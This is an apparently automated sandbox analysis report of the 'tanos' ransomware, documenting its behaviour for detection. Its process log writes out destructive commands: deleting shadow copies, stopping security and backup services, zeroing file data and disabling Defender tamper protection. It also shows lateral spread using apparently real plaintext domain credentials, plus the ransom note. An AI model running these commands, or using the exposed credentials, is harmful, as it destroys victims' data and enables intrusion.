c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850

Analysis

max time kernel
943s
max time network
946s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
17-05-2022 10:35

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General

Target

tanos.exe
Size

87KB
MD5

d6d956267a268c9dcf48445629d2803e
SHA1

cc0feae505dad9c140dd21d1b40b518d8e61b3a4
SHA256

c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850
SHA512

e0791f6eb3116d0590be3af3713c94f787f7ced8e904d4bb8fc0d1341f332053414cb1e9095ae2de041b9e6d6d55cf773bf45ebeb74f27bb95c11a3cc364abee

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral2/memory/4720-130-0x0000000000F30000-0x0000000000F4C000-memory.dmp	disable_win_def

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Blocklisted process makes network request 2 IoCs

Processes:

mshta.exe

flow pid process

21 1820 mshta.exe
22 1820 mshta.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

k0xherol.exe

pid process

556 k0xherol.exe

flow	pid	process
21	1820	mshta.exe
22	1820	mshta.exe

pid	process
556	k0xherol.exe

Modifies extensions of user files 4 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

tanos.exe

description	ioc	process
File created	C:\Users\Admin\Pictures\MergeJoin.tiff.crypted	tanos.exe
File opened for modification	C:\Users\Admin\Pictures\MergeJoin.tiff	tanos.exe
File created	C:\Users\Admin\Pictures\RepairResume.png.crypted	tanos.exe
File created	C:\Users\Admin\Pictures\UnregisterStart.raw.crypted	tanos.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

tanos.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation tanos.exe
Drops startup file 1 IoCs

Processes:

tanos.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk tanos.exe
Windows security modification 2 TTPs 1 IoCs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112

Processes:

tanos.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" tanos.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	tanos.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	tanos.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	tanos.exe

Enumerates connected drives 3 TTPs 14 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	ioc	process
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

tanos.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "Information..."	tanos.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "Your Files are Encrypted.\r\n\r\nDon’t worry, you can return all your files!\r\n\r\nYou've got 48 hours(2 Days), before you lost your files forever.\r\nI will treat you good if you treat me good too.\r\n\r\nThe Price to get all things to the normal : 20,000$\r\nMy BTC Wallet ID :\r\n1F6sq8YvftTfuE4QcYxfK8s5XFUUHC7sD9\r\n\r\nContact :\r\[email protected]\r\n"	tanos.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
3264	vssadmin.exe
5032	vssadmin.exe
680	vssadmin.exe
3908	vssadmin.exe
5100	vssadmin.exe
1988	vssadmin.exe
1232	vssadmin.exe
4548	vssadmin.exe
224	vssadmin.exe
3168	vssadmin.exe
3864	vssadmin.exe
3576	vssadmin.exe
1396	vssadmin.exe
2752	vssadmin.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

2604 taskkill.exe
4672 taskkill.exe
3384 taskkill.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4180 PING.EXE

pid	process
2604	taskkill.exe
4672	taskkill.exe
3384	taskkill.exe

pid	process
4180	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

tanos.exepowershell.exe

pid	process
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4716	powershell.exe
4716	powershell.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe
4720	tanos.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

Processes:

tanos.exepowershell.exetaskkill.exetaskkill.exetaskkill.exevssvc.exek0xherol.exe

description	pid	process
Token: SeDebugPrivilege	4720	tanos.exe
Token: SeDebugPrivilege	4716	powershell.exe
Token: SeDebugPrivilege	2604	taskkill.exe
Token: SeDebugPrivilege	4672	taskkill.exe
Token: SeDebugPrivilege	3384	taskkill.exe
Token: SeBackupPrivilege	5924	vssvc.exe
Token: SeRestorePrivilege	5924	vssvc.exe
Token: SeAuditPrivilege	5924	vssvc.exe
Token: SeAssignPrimaryTokenPrivilege	556	k0xherol.exe
Token: SeIncreaseQuotaPrivilege	556	k0xherol.exe
Token: SeImpersonatePrivilege	556	k0xherol.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

tanos.exe

pid process

4720 tanos.exe
4720 tanos.exe
4720 tanos.exe
Suspicious use of SendNotifyMessage 3 IoCs

Processes:

tanos.exe

pid process

4720 tanos.exe
4720 tanos.exe
4720 tanos.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

tanos.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 4720 wrote to memory of 4716	4720	tanos.exe	powershell.exe
PID 4720 wrote to memory of 4716	4720	tanos.exe	powershell.exe
PID 4720 wrote to memory of 4240	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 4240	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 5092	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 5092	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 4976	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 4976	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 5036	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 5036	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 5060	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 5060	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 4924	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 4924	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 4776	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 4776	4720	tanos.exe	net.exe
PID 4240 wrote to memory of 1420	4240	net.exe	net1.exe
PID 4240 wrote to memory of 1420	4240	net.exe	net1.exe
PID 4720 wrote to memory of 3188	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 3188	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 3220	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 3220	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 116	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 116	4720	tanos.exe	net.exe
PID 5092 wrote to memory of 224	5092	net.exe	vssadmin.exe
PID 5092 wrote to memory of 224	5092	net.exe	vssadmin.exe
PID 4720 wrote to memory of 3832	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 3832	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 4072	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 4072	4720	tanos.exe	net.exe
PID 4976 wrote to memory of 4480	4976	net.exe	Conhost.exe
PID 4976 wrote to memory of 4480	4976	net.exe	Conhost.exe
PID 4720 wrote to memory of 3720	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 3720	4720	tanos.exe	net.exe
PID 5036 wrote to memory of 3512	5036	net.exe	net1.exe
PID 5036 wrote to memory of 3512	5036	net.exe	net1.exe
PID 5060 wrote to memory of 4580	5060	net.exe	net1.exe
PID 5060 wrote to memory of 4580	5060	net.exe	net1.exe
PID 4720 wrote to memory of 4612	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 4612	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 4088	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 4088	4720	tanos.exe	net.exe
PID 4924 wrote to memory of 3476	4924	net.exe	net1.exe
PID 4924 wrote to memory of 3476	4924	net.exe	net1.exe
PID 4720 wrote to memory of 2208	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 2208	4720	tanos.exe	net.exe
PID 4776 wrote to memory of 2964	4776	net.exe	net1.exe
PID 4776 wrote to memory of 2964	4776	net.exe	net1.exe
PID 4720 wrote to memory of 3468	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 3468	4720	tanos.exe	net.exe
PID 3188 wrote to memory of 5020	3188	net.exe	net1.exe
PID 3188 wrote to memory of 5020	3188	net.exe	net1.exe
PID 3220 wrote to memory of 628	3220	net.exe	net1.exe
PID 3220 wrote to memory of 628	3220	net.exe	net1.exe
PID 4720 wrote to memory of 1040	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 1040	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 964	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 964	4720	tanos.exe	net.exe
PID 116 wrote to memory of 2700	116	net.exe	net1.exe
PID 116 wrote to memory of 2700	116	net.exe	net1.exe
PID 4720 wrote to memory of 1836	4720	tanos.exe	net.exe
PID 4720 wrote to memory of 1836	4720	tanos.exe	net.exe
PID 4072 wrote to memory of 4432	4072	net.exe	net1.exe
PID 4072 wrote to memory of 4432	4072	net.exe	net1.exe

C:\Users\Admin\AppData\Local\Temp\tanos.exe
"C:\Users\Admin\AppData\Local\Temp\tanos.exe"
1⤵
- Modifies extensions of user files
- Checks computer location settings
- Drops startup file
- Windows security modification
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4716
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop avpsus /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4240
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:1420
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5092
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:224
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop mfewc /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4976
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:4480
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5036
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:3512
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:4580
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3220
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:628
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:116
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:2700
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3188
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:5020
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4776
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:2964
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4924
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:3476
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:3832
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:2888
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4072
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:4432
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:3720
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:956
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:3468
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:3320
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:964
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:3844
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:3460
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:4648
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:924
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:112
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:1744
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:4952
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:1468
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:996
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:4956
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:4788
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:3976
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:5296
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:4188
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:5436
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:4488
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:5424
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:804
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:5304
- C:\Windows\SYSTEM32\net.exe
  "net.exe" use \\10.127.0.75 /USER:SHJPOLICE\amer !Omar2012
  2⤵
  PID:6060
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:5096
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3864
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:5032
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:680
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:3576
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1396
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:224
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1232
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:4548
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2752
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:3908
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:5100
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1988
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:3264
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3168
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2604
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4672
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3384
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  PID:320
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  PID:1612
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  PID:4580
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  PID:2896
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:5116
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:3716
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:3924
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:1448
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:2628
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:4892
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:4784
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:1836
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:1040
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:2208
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:4088
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:4612
- C:\Users\Admin\AppData\Local\Temp\k0xherol.exe
  "C:\Users\Admin\AppData\Local\Temp\k0xherol.exe" \10.127.0.75 -u SHJPOLICE\amer -p !Omar2012 -d -f -h -s -n 2 -c C:\Users\Admin\AppData\Local\Temp\tanos.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:556
- C:\Windows\SYSTEM32\arp.exe
  "arp" -a
  2⤵
  PID:2464
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.hta
  2⤵
  - Blocklisted process makes network request
  PID:1820
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:3912
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:4180
- - C:\Windows\system32\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\tanos.exe
  2⤵
  PID:1884
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:4716

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop QBCFMonitorService /y
1⤵
PID:4576

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop YooBackup /y
1⤵
PID:1304

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
1⤵
PID:4180

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop veeam /y
1⤵
PID:4992

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
1⤵
PID:1984

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop CASAD2DWebSvc /y
1⤵
PID:5656

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop sophos /y
1⤵
PID:5688

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop CAARCUpdateSvc /y
1⤵
PID:5664

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5924

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4480

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
1⤵
PID:744

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
1⤵
PID:3048

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop stc_raw_agent /y
1⤵
PID:368

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop YooIT /y
1⤵
PID:4060

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Disabling Security Tools

File Deletion

Modify Registry

Web Service

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\k0xherol.exe

Filesize
219KB

MD5
b1dfb4f9eb3e598d1892a3bd3a92f079

SHA1
0fc135b131d0bb47c9a0aaf02490701303b76d3b

SHA256
ab50d8d707b97712178a92bbac74ccc2a5699eb41c17aa77f713ff3e568dcedb

SHA512
98454df86ddddf20e0b7bd19566006dbec431326e8aa57600aff460e9bec3e6489e43e95be3b252bf78a2edd5c203254508e9b55e756b680c100560664278ca2

Download Submit
C:\Users\Admin\AppData\Local\Temp\k0xherol.exe

Filesize
219KB

MD5
b1dfb4f9eb3e598d1892a3bd3a92f079

SHA1
0fc135b131d0bb47c9a0aaf02490701303b76d3b

SHA256
ab50d8d707b97712178a92bbac74ccc2a5699eb41c17aa77f713ff3e568dcedb

SHA512
98454df86ddddf20e0b7bd19566006dbec431326e8aa57600aff460e9bec3e6489e43e95be3b252bf78a2edd5c203254508e9b55e756b680c100560664278ca2

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.hta

Filesize
1KB

MD5
c958eca58e649ad41137a5e190d26026

SHA1
6dd3f5aab997b0498ab474446113cd2d5a62264e

SHA256
12df7f594dabb18bd394fb198b26e7044238abfe84fd0b29473ff4cb0d143324

SHA512
64a2ad913dcda1b7b33026c54502bd143c67b548663bdcb00a6be7f49b555f11e6f03a5379f49308614f42dc045f33b3cfe46a0f5a9dce151c0b799532c0e5b7

Download Submit
memory/112-192-0x0000000000000000-mapping.dmp

Download
memory/116-145-0x0000000000000000-mapping.dmp

Download
memory/224-146-0x0000000000000000-mapping.dmp

Download
memory/368-180-0x0000000000000000-mapping.dmp

Download
memory/628-160-0x0000000000000000-mapping.dmp

